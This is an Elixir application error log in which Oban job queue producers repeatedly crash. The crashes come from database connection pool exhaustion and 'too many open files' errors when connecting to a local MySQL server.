State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:48:18.239628Z], limit: 5, uuid: "f5180650-a43d-4ed3-b649-63b6669eae7c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:18.239634Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.55441>, refresh_timer: #Reference<0.2525715032.1077673987.55418>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:48:18.239741Z], limit: 10, uuid: "c9cb0561-7420-4721-be72-613c4b8d81f0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:18.239747Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.223232>, refresh_timer: #Reference<0.2525715032.1121189889.223191>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:30.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:48:18.239599Z], limit: 20, uuid: "11406c88-111d-49e6-b5b4-bc07d6cad325", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:18.239605Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.69245>, refresh_timer: #Reference<0.2525715032.1068498948.79657>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:31.969000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:36.465000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:38.576000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:39.629000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:39.655000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:48:30.239349Z], limit: 50, uuid: "ea398689-3b6f-4880-b391-7c62276c39ff", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:30.239355Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.55771>, refresh_timer: #Reference<0.2525715032.1099431938.69305>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:48:30.239208Z], limit: 5, uuid: "3ecb0017-ca89-439d-ab73-a1f8966683ab", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:30.239214Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.55767>, refresh_timer: #Reference<0.2525715032.1077673987.55746>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:42.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:48:30.239550Z], limit: 10, uuid: "5c2daf05-13eb-4e7b-bcbd-4c9084e1a609", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:30.239555Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.55766>, refresh_timer: #Reference<0.2525715032.1077673987.55758>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:42.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1097ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:48:30.240223Z], limit: 20, uuid: "a987f508-2fd3-4974-aec9-bd3e5a0d05c4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:30.240229Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.55769>, refresh_timer: #Reference<0.2525715032.1121189889.223403>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:48:30.239350Z], limit: 3, uuid: "8b4172d7-d26c-42c7-91f7-6a8f2f259e14", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:30.239355Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.55768>, refresh_timer: #Reference<0.2525715032.1077673987.55752>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:42.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:48:30.238297Z], limit: 5, uuid: "50e20c5e-7c88-4c44-acb7-96385c3b9bcc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:30.238303Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.55770>, refresh_timer: #Reference<0.2525715032.1099431938.69288>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:42.493000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:43.269000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:46.225000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:46.926000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:48.911000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:51.937000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:53.439000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
